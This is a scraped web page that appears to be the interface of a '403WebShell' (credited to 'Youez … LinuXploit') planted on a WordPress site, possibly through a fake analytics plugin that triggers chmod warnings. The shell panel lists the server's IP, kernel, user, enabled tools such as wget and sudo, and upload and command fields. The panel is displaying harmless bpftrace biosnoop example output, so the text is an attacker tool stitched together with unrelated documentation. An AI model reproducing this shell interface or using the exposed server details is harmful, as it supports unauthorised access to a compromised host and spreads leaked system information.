Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/bpftrace/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/bpftrace/examples/biosnoop_example.txt
Demonstrations of biosnoop, the Linux BPF/bpftrace version.


This traces block I/O, and shows the issuing process (at least, the process
that was on-CPU at the time of queue insert) and the latency of the I/O:

# ./biosnoop.bt
Attaching 4 probes...
TIME(ms)     DISK             COMM             PID    LAT(ms)
611          nvme0n1          bash             4179        10
611          nvme0n1          cksum            4179         0
627          nvme0n1          cksum            4179        15
641          nvme0n1          cksum            4179        13
644          nvme0n1          cksum            4179         3
658          nvme0n1          cksum            4179        13
673          nvme0n1          cksum            4179        14
686          nvme0n1          cksum            4179        13
701          nvme0n1          cksum            4179        14
710          nvme0n1          cksum            4179         8
717          nvme0n1          cksum            4179         6
728          nvme0n1          cksum            4179        10
735          nvme0n1          cksum            4179         6
751          nvme0n1          cksum            4179        10
758          nvme0n1          cksum            4179        17
783          nvme0n1          cksum            4179        12
796          nvme0n1          cksum            4179        25
802          nvme0n1          cksum            4179        32
[...]

This output shows the cksum process was issuing block I/O, which were
completing with around 12 milliseconds of latency. Each block I/O event is
printed out, with a completion time as the first column, measured from
program start.


An example of some background flushing:

# ./biosnoop.bt
Attaching 4 probes...
TIME(ms)     DISK             COMM             PID    LAT(ms)
2966         nvme0n1          jbd2/nvme0n1-8   615          0
2967         nvme0n1          jbd2/nvme0n1-8   615          0
[...]


There is another version of this tool in bcc: https://github.com/iovisor/bcc
The bcc version provides more fields.

Youez - 2016 - github.com/yon3zu
LinuXploit